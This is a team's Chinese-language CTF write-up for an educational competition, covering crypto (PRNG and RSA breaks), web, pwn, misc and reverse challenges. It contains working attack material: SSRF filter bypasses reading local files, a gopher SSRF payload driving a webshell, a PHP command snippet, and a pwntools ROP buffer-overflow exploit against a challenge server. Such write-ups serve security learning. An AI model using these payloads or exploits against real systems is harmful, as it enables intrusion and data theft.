---
# System prepended metadata

title: EOF Write Up

---

# EOF Write Up

:::warning
:warning: [WriteUp繳交](https://docs.google.com/forms/d/e/1FAIpQLScdx-zwt1WCmGPsetByk-mmc-q5CGhV568Fp55DE_gM79WIaQ/viewform)開放至 <font color=#ED3E44>**1/19 (三) AM 9:00**</font>，逾期不開放補繳 

**隊伍名稱** : ⧸⎩⎠⎞͏(・∀・)⎛͏⎝⎭⧹
:::
## **Welcome**
### gogogo
NC指令`nc edu-ctf.zoolab.org 30214` 連上去就拿到 FLAG


## **Crypto**
### babyPRNG
* 這題的PRNG的Random sequence明顯固定是4個數字 [0, 109, 182, 219] 再隨機循環
* 所以將每個 byte 做 4 次 不同的 xor 並過濾出仍在 charset 的結果
* 可以拿到 
`FLAG{12_pr0m15X32_12_w1ll2_n0Z72_mY4k32_my2_0wn2_rY4nd0m2_funcZ710n2_Y46Y41n}`
* 再大概把有解出來兩種結果的過濾一下 ( 沒錯，人工過濾 )
`FLAG{1_pr0m153_1_w1ll_n07_m4k3_my_0wn_r4nd0m_func710n_4641n}`
    就可以拿到了XD，下面是 exploit code
    ```
    byteEnc = bytes.fromhex(enc)
    for x in byteEnc:
        for y in random_:
            tmp = x^y
            #print(tmp)
            if( chr(tmp) in charset ):
                print(chr(tmp),end="")
    ```




### almostBabyPRNG
* 有鑑於上面那題的 Randomsquence 不怎麼 Random
* 這題可以發現 隨機數序列至少每 384 個就會產生一次循環
    ```
    a = MyRandom()
    random_sequence = [a.random() for _ in range(388)]
    print(random_sequence)
    ```
* FLAG 的長度是 36 & Random sequence 長度是 420
    * 第 385~420個 跟 1~36 是一樣的數字序列
    * 將 enc[0]-enc[35] 跟 enc[-36]-enc[-1]做 XOR
    * 最後拿到FLAG

### notRSA
題目的hash演算法可以寫成 (A^n) x = y，且都是在一個很大質數p的閉環下
A = [[9, 0, -36], [6, 0, -27], [0, 1, 0]]
x = [78, 58, 79]
題目給予p和y，理論上可求出n，求出的n即為flag
要有一個複雜度log(n)的演算法求出n，我猜應該要像source code加密時那樣逐個bit還原n，但我不知道怎麼做
* 有發現到A的特徵值為三重根，和特徵向量v=[6, 3, 1]，(A^(p-1))v = v
* 但不確定以上發現有什麼用

### babyRSA
n = pq
m = n^2 + 69420
h = (3^2022 * p^2 + 5^2022 * q^2) mod m
題目給n和h還有密文c，m可以自己算
令a = 3^1011，b =  5^1011 (以下都有mod m, 這邊省略)
h = (ap)^2 + (bq)^2
h + 2abn = (ap - bq)^2
h  - 2abn = (ap + bq)^2
sage可以用 mod(, m).sqrt() 算出 (ap - bq) 和 (ap + bq) 但是m太大了跑不出來

### easyRSA
flag被拆成4段rsa加密
給4個 (n, c) 組合
e = 65537

第一二段level 1 (n1, c1),(n2, c2)
p1, q1, q2 隨機選
2p2 = p1 - 1

根據費馬小定理 a^(p-1) mod p = 1 其中a,p互質
a^n2 mod p1 = a^(p2*q2) mod p1
另a為完全平方數a = x^2
x^2n2 mod p1 =  a^(2p2*q2) mod p1 = a^((p1 -1)*q2) mod p1 = 1^q2 mod p1 = 1

a^n2 mod n1 = r，a^n2 = K*p1*q1 + r
a^n2 mod p1 = r mod p1 = 1 mod p1
則p1可以整除(r-1)
a可以帶入任意平方數，取任意數量的a，尋找各r-1間的最大公因數，如果結果是質數就是p1。
求出p1可算出p2,q1,q2，可求private key d1 d2，可解出第一二段明文
exploit code(python):
```
p1 = pow(4, n2, n1) - 1
for i in [3, 5, 7, 11, 13, 17, 19, 23, 29]:
  a = i**2
  p1 = math.gcd(p1, pow(a, n2, n1) - 1)
  if isPrime(p1):
    break
q1 = n1 // p1
p2 = (p1 - 1) // 2
q2 = n2 // p2

d1 = inverse(e, (p1 - 1)*(q1 - 1))
d2 = inverse(e, (p2 - 1)*(q2 - 1))

print(long_to_bytes(pow(c1, d1, n1)))
print(long_to_bytes(pow(c2, d2, n2)))
```
解出兩段明文
b'flag{S0rry_\x8f\xce\x1fIm7E\xc3\xfbo\xbfY\xcb\xb4\xae\xf8 \xc7k\x1c,\xdf3\xfb\xa5?Da\t\xa4D\xb2M\x8a[\x01\xbc\xe6+\xc3\xd1L\xb9\xe0)\x8a\xbd\xbf\xcb<\x1e'
b'1_f0r9ot_T0\x81\xfa\xb0\xed\xdcxl\xf5\xc7O5G\xba\x1c\xa3bJ*\x8e\x88\x1aT=\xe4.v%>\xa5\x8e\x93\xb7\xaer\x8e\x1d\x90\xe3v}_,\xebZ\x1e\xb2\xf5\x03\xed\xfd'





## **Web**

### Happy Metaverse Year
這題看了一下 source 碼，原本是打算繞過之後對 sqli 做注入做 union 然後 + 盲注 來猜 kirito 的密碼的
結果我連單引號都繞不過，最後講師說可以用 username[] 來避開 includes的偵測...
`["aaa'aaa"].includes("'") === false`


### SSRF Challenge or Not?

https://ssrf.h4ck3r.quest/  => 會顯示 proxy url 的紀錄
https://ssrf.h4ck3r.quest/proxy?url=<input> => 會直接讀取<input>網站的內容並顯示在畫面上

因為 url 使用 urlparse(url).netloc 規範輸入應該要為 <sth.>://<sth.> 並且 netloc 不能為本地端指令。但是可以使用`http://017700000001`來 bypass，成功訪問到 local 端。之後使用file type 訪問 server的路徑 `https://ssrf.h4ck3r.quest/proxy?url=file://017700000001/proc/self/cmdline` 獲取當前啟動 process 的完整命令。
`/usr/local/bin/python /usr/local/bin/gunicorn --workers 8
--access-logfile - --error-logfile - --bind 127.0.0.1:8000 --user 1000 --group 1000 --chdir /sup3rrrrr/secret/server/ main_server:app` 成功取得 server 路徑並且訪問，然後就找不到flag檔位置了QQ

* 嘗試
1. 存取 /root/bash_history => Permission Denied
2. 存取 /etc/nginx/nginx.conf => 設定在子類別的設定檔上看不到static file的路徑
### PM
* 根目錄有 /flag 跟 readflag
* Shellaction=shell&command=???  =>  system($_POST['command']);
* Dowload Shell 的 code 可以做 SSRF
    ```if(@$_POST['shell_url'])
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_POST['shell_url']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    $shell = curl_exec($ch);
    curl_close($ch);
    $file = fopen($_POST['downpath'], "w");
    fwrite($file, $shell);	
    fclose($file);
    ```
* 應該是要用 **gopher** 建立一個 post 的請求來**做SSRF**
    * parameter 放 action 跟 command => 因為 shell 會做到 system
        * action=shell
        * command 主要是執行 `/readflag give me the falg > /tmp/SAO`
        * 編碼 `action=shell&command=/readflag%20give%20me%20the%20flag%20%3E%20SAO`

    * 下面這個是先編輯檔案的指令 想說先確認這個會成功
        `action=editor&file=/tmp/trythis&data=gg&save=save`
* Gopher 請求如下，但我不知道為什麼不會 work，是 payload 還是 port 錯了QQ...因為我用 burp 抓到的 IP:443 進去會是 SAO 那題的網頁... :D
    ```  gopher://127.0.0.1:443/_POST%20/uploads/webshell.php%20HTTP/1.1%0D%0A
    Host:%20127.0.0.1%0D%0A
    Content-Length:%2053%0D%0A
    Content-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0A
    action=editor&file=%2Ftmp%2Ftrythis&data=gg&save=save%0D%0A
    ```

### babyphp
主要就是兩個參數的傳入要可以通過檢測，在伺服器上建立檔案(php網頁)並執行

檢測包含output跟code兩個參數都要傳入，
output的部分要是產生檔案的檔名(要繞過ph開頭的副檔名，但是.php/.繞不過因為/.之後需要有字元)
code沒什麼限制(<?php echo $_GET['cmd']; ?>

hint是關於php://filter的部分有助於把資料寫進網頁中，但是php://filter/resource=(這邊不能使用編碼的方式)


## **Pwn**

### hello-world

![](https://i.imgur.com/fJAC7Hc.png)

用 checksec、readelf 指令檢查，沒有 CANARY、PIE 機制，並且在 fini_array 有藏 Code，IDA 反組譯會看到有個 fini() 會在 main() 執行完畢後執行，主要負責開檔/home/hello-world/flag，開檔成功後會讀入 1 byte 跟 0xff 比較，若相等的話會再 read 一次，讀取 512 bytes 遠超過 buffer 的大小造成 **BOF**。

```python=3.8
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

# r = process('./hello-world')
r = remote('edu-ctf.zoolab.org', '30212')

# bypass 0xff檢查
r.sendafter("Hello, world !", b'\xff')

# 一些單純用來填充的資料
fill = 'A'*120  # 蓋到fini的原本的return address
fill_r15 = 0    # 控制rsi時的gadget會用到

# 已知的address
pop_rdi =  0x4013a3
pop_rsi_r15 =  0x4013a1
buf_addr =  0x404F00

plt_read = 0x401090
plt_puts = 0x401080

main_fflush = 0x401315
plt_fflush = 0x4010a0
FILE_stdout_ptr = 0x404050

# 建立ROP
code = flat(
    # open的fd可以預測數值為3
    # 從fd3讀取資料到可被寫入且已知位置的記憶體位置
    # 記憶體位置的選擇以可以放的下flag跟盡量不影響其他變數為主
    # 如果選擇0x40400讀取flag後會蓋到0x404050(存stdout的指標)
    # 所以這邊選擇的是0x404F00，是從.text sec高位保留0x100 byte的位置
    # 補充一點:因為ROPgadget中沒有辦法控制rdx，這邊直接使用的話rdx的值會是0x200
    fill,
    pop_rsi_r15,
    buf_addr,
    fill_r15, 
    pop_rdi,
    0x3,
    plt_read,
    
    # 從buffer中使用puts把flag輸出到螢幕上
    # 但會留在STDOUT的buffer中
    pop_rdi,
    buf_addr,
    plt_puts,

    # 利用main function中的fflush部分
    # 把STDOUT bufffe中的資料輸出出來
    main_fflush
)
# 確認ROP沒有過長(超出讀取長度、記憶體不夠寫)
print(hex(len(code)))

r.sendline(code)
r.interactive()
```

## **Misc**

### LeetCall
只有解到第一題的第一個測資
看doc的功力不夠QQ
知道可以用內建函數 getattr 來印出資訊
```
print(getattr('Hello, {}!','format')(input()))
```

### babyheap
可以建立、編輯、刪除、瀏覽note
刪除時會檢測double free有沒有發生

## **Reverse**
### wannaSleep
這題就寫壞了QQ 
x64dbg 執行完 WriteFile 後就會跳出一長串的字串
內容大概是講沙丘中間塞了 FLAG

### wannaSleep_revenge
看起來這題知道ransomware怎麼加密之後要寫exploit再解密
我只把 main 的程式碼逆完之後就不太知道要怎麼辦了
但大概知道程式流程
start -> main_seh -> main 然後就return -> main_seh了
還以為是security_cookie的東西，看來想錯了...
原來是有用到 hookWriteFile QQ

* 程式會確認輸入的 argv[1] 檔案是否存在
* 在的話就開檔+讀取
* 然後再開新檔寫東西進去 => 這裡打開新建的檔案就是加密的東西

![](https://i.imgur.com/0RmG5eN.png)


### passwd_checker_2022

可以看到位置0x140001BE4(相對位置)有Enablewindow的function，該function設定的是rcx參數的視窗是否可以使用
在這邊修改rdx的數值為1，使得OK的buttom可以按，進到後續檢查FLAG的程式


![](https://i.imgur.com/LZjeR9F.png)


Buttom 觸發後來到 sub_1400016B0()，這個函數主要使用了 Windows Crypt API 將剛剛視窗輸入的內容進行雜湊與加密並且與 "E2J4z66WDHCgvxlWlILStr8epTuHJ5FFuTeK6LmBwVnN"/"G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=" 字串做比對。前者是 IDA 觀察到的字串後者是 x64dbg 實際上做比對的字串 (因為程式在進去 entry point 前會先呼叫 TlsCallBack_0 函數，這個函數有一段程式碼會將 IDA 所看到一開始的初始字串進行改寫(XOR動作)，如下圖這段程式碼)。
![](https://i.imgur.com/FtVHQSJ.png)

* 加密流程如下 ([Win Crypto API Doc](https://docs.microsoft.com/en-us/windows/win32/seccrypto/cryptography-portal))
CryptAcquireContextW() 創一個 PROV_RSA_FULL 的 CSP，
=> CryptCreateHash() CALG_SHA
=> CryptHashData()  
=> CryptDeriveKey() CALG_RC4
=> Sub_140001140() memset一塊空間 ds:[7FF637157B50]
=> Sub_140001000() 將輸入放到 ds:[7FF637157B50] 這塊空間
=> CryptEncrypt()  將 ds:[7FF637157B50] 這塊空間資料進行加密
=> sub_140001610() 將加密結果(binary)以 base64 轉成字串形式存放在 ds:[7FF637157B50]
=> 將 ds:[7FF637157B50] "G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=" 字串做比對，相等即為 FLAG。

![](https://i.imgur.com/8t4OGgh.png)
因為 x64dbg，可以直接在呼叫 CryptEncrypt() 前下斷點看 register 的值來得到加密的 session key。

```
這邊解 FLAG 的 exploit 因為我自己寫的 windows api 一值呼叫失敗所以我是手動暴力解的，
先將"G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ="字串轉換為binary的形式，
在與加密後的ds:[7FF637157B50]資料做比較
```



